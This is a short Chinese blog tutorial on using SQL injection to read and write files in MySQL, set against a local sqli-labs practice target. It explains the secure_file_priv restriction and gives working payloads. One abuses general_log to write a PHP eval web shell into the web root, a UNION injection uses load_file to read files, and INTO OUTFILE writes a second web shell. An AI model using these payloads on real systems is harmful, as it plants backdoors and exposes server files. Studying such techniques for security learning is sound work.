SQL注入之读写文件

1.MYSQL新特性限制文件写入以及替代方法

高版本的mysql添加了一个新的特性secure_file_priv,该值限制了mysql导出文件的权限

secure_file_priv 选项
1、限制mysqld 不允许导入 | 导出
--secure_file_prive=null
2、限制mysqld 的导入 | 导出 只能发生在/tmp/目录下
--secure_file_priv=/tmp/
3、不对mysqld 的导入 | 导出做限制
---secure_file_priv=

  • linux下 cat /etc/my.cnf
    • [mysqld] secure_file_priv=
  • win下 my.ini
    • [mysqld] secure_file_priv=

查看secure_file_priv

show global variables like '%secure%';

默认配置

在mysql高版本的配置文件中默认没有secure_file_priv这个选项,但是你用SQL语句来查看secure_file_priv发现,没配置这个选项就是NULL,也就是说无法导出文件。

image.png

替代方法

需要知道服务器路径

输出日志到日志文件,输出的位置需要知道,win下用\转义路径分隔符,linux下直接使用/路径分隔符

set global general_log=on;set global general_log_file='C:\\phpStudy\\WWW\\123.php';select '<?php eval($_POST[123]) ?>';

image.png
image.png

2.旧版本或者secure_file_priv不对mysqld导入导出做限制

load_file读文件

http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,load_file('C:\\phpStudy\\PHPTutorial\\WWW\\a.php'),3 --+

into outfile 写文件

image.png

select '<?php eval($_POST[1]);?>' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\a.php'

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容